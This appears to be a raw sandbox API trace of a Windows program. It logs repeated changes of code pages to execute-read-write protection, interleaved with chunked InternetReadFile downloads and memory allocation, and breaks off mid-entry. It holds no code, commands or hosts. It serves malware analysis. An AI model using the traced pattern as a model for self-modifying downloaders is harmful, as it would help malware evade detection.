[0145.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.779] VirtualFree (lpAddress=0x1f280000, dwSize=0x230000, dwFreeType=0x4000) returned 1 [0145.790] VirtualFree (lpAddress=0x1f1a8000, dwSize=0xd8000, dwFreeType=0x4000) returned 1 [0145.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.801] VirtualFree (lpAddress=0x1efa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.812] VirtualAlloc (lpAddress=0x1f280000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f280000 [0145.813] VirtualFree (lpAddress=0x1f4b0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.814] VirtualAlloc (lpAddress=0x1eef0000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1eef0000 [0145.814] VirtualAlloc (lpAddress=0x1eef0000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eef0000 [0145.814] VirtualAlloc (lpAddress=0x1eeec000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eeec000 [0145.815] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x51a4) returned 1 [0145.816] VirtualAlloc (lpAddress=0x1eefc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eefc000 [0145.816] VirtualFree (lpAddress=0x1f280000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0145.817] VirtualFree (lpAddress=0x1f280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.824] VirtualAlloc (lpAddress=0x0, dwSize=0x330000, flAllocationType=0x2000, flProtect=0x1) returned 0x1eff0000 [0145.825] VirtualAlloc (lpAddress=0x1eff0000, dwSize=0x238000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eff0000 [0145.833] VirtualAlloc (lpAddress=0x1ef04000, dwSize=0xec000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ef04000 [0145.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.891] VirtualFree (lpAddress=0x1eef0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0145.891] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x310000, dwFreeType=0x4000) returned 1 [0145.909] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.925] VirtualAlloc (lpAddress=0x1f228000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f228000 [0145.925] VirtualFree (lpAddress=0x1f224000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.927] VirtualFree (lpAddress=0x1eef8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0145.927] VirtualAlloc (lpAddress=0x1f228000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.927] VirtualAlloc (lpAddress=0x1f228000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.927] VirtualAlloc (lpAddress=0x1f224000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.927] VirtualAlloc (lpAddress=0x1f224000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.927] VirtualAlloc (lpAddress=0x0, dwSize=0x340000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f320000 [0145.928] VirtualAlloc (lpAddress=0x1f320000, dwSize=0x250000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f320000 [0145.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.939] VirtualAlloc (lpAddress=0x1f23c000, dwSize=0xe4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f23c000 [0145.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.992] VirtualFree (lpAddress=0x1eff0000, dwSize=0x234000, dwFreeType=0x4000) returned 1 [0146.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.006] VirtualFree (lpAddress=0x1ef00000, dwSize=0xf0000, dwFreeType=0x4000) returned 1 [0146.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.015] VirtualFree (lpAddress=0x1eef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.021] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.022] VirtualAlloc (lpAddress=0x1eff0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eff0000 [0146.023] VirtualFree (lpAddress=0x1f56c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.024] VirtualFree (lpAddress=0x1f228000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.025] VirtualAlloc (lpAddress=0x1f56c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f56c000 [0146.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.029] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.031] VirtualAlloc (lpAddress=0x1f004000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f004000 [0146.033] VirtualFree (lpAddress=0x1eff0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.033] VirtualAlloc (lpAddress=0x1f57c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f57c000 [0146.033] VirtualFree (lpAddress=0x1f014000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.035] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.035] VirtualAlloc (lpAddress=0x1f014000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f014000 [0146.036] VirtualFree (lpAddress=0x1f000000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.036] VirtualAlloc (lpAddress=0x1f58c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f58c000 [0146.037] VirtualFree (lpAddress=0x1f024000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.038] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xcec0) returned 1 [0146.038] VirtualAlloc (lpAddress=0x1f024000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f024000 [0146.039] VirtualFree (lpAddress=0x1f010000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.040] VirtualAlloc (lpAddress=0x1f59c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f59c000 [0146.040] VirtualFree (lpAddress=0x1f030000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xe4f0) returned 1 [0146.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.468] VirtualAlloc (lpAddress=0x1f030000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f030000 [0146.470] VirtualFree (lpAddress=0x1f020000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0146.470] VirtualAlloc (lpAddress=0x1f5a8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f5a8000 [0146.470] VirtualFree (lpAddress=0x1f03c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x15c8) returned 1 [0146.471] VirtualFree (lpAddress=0x1f02c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.472] VirtualAlloc (lpAddress=0x1f5b4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 